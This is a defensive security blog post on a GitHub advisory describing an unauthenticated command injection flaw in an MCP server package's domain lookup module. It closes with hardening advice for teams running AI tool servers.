GitHub’s Advisory Database published a critical advisory for @profullstack/mcp-server that should get attention from anyone experimenting with Model Context Protocol (MCP) servers, internal AI tools, or “agentic” automation.
The issue, tracked as GHSA-v6wj-c83f-v46x, affects the project’s domain_lookup module. According to the advisory, unauthenticated HTTP endpoints accepted domain or keyword input, concatenated that input into a shell command, and executed it through a shell sink. That is the classic dangerous pattern: user input becomes part of a command string instead of being passed as a safe argument array.
The immediate impact is serious: unauthenticated remote code execution as the MCP server process. In practical terms, a vulnerable server exposed beyond localhost could let an attacker run commands, read files available to the process, modify data, stage malware, steal credentials, or pivot deeper into the environment.
Original source: GitHub Advisory Database — GHSA-v6wj-c83f-v46x.
Why this matters
MCP is becoming a common way to connect AI agents to tools, data, workflows, and infrastructure. That power cuts both ways. If an MCP server exposes unsafe tool routes, the AI layer is no longer just answering questions — it may be operating a command surface.
This advisory is a clean example of the risk. A “domain lookup” feature sounds low impact, but the implementation path matters more than the feature name. If the server builds a shell command with untrusted input, the endpoint becomes a remote execution primitive.
For small businesses and government contractors, the concern is not limited to this one package. Many teams are rapidly testing AI assistants, local automation servers, Slack/Discord bots, internal dashboards, and MCP connectors. Those systems often start as experiments, then quietly become operational. If they bind to 0.0.0.0, skip authentication, or run with broad local permissions, a prototype can become an intrusion path.
What defenders should check now
- Inventory MCP and AI tool servers. Identify any MCP servers, agent connectors, local automation APIs, or developer tools running in your environment.
- Check network exposure. Anything intended for local agent use should normally bind to
127.0.0.1, sit behind authentication, or be isolated on a trusted management network. - Review command execution patterns. Search for
exec,execAsync, shell string construction, and user-controlled input passed into command strings. - Prefer safe process APIs. Use
spawnorexecFilewith argument arrays instead of concatenated shell commands. - Validate tool inputs tightly. For domain lookups, enforce hostname syntax. Reject shell metacharacters and unexpected input types before the tool call reaches business logic.
- Run agents with least privilege. Treat MCP servers like application servers, not harmless helper scripts. Use dedicated service accounts, containers, restricted filesystem access, and egress controls.
- Monitor for abuse. Look for unexpected outbound connections, unusual shell processes spawned by Node/Python services, and API hits to tool endpoints from non-local addresses.
Bulwark Black assessment
This is the same old command injection class showing up in a new AI operations wrapper. The lesson is simple: adding an AI agent interface does not remove traditional application security requirements. It raises the stakes because agents are explicitly designed to call tools, chain actions, and operate across systems.
If your organization is experimenting with MCP, treat every tool endpoint as production attack surface until proven otherwise. Require authentication, bind locally by default, isolate the runtime, and assume that any string passed from a user or model can be hostile.
The teams that win with AI tooling will not be the ones that connect every possible action the fastest. They will be the ones that connect useful actions safely, with clear boundaries between model output, tool input, and operating system execution.
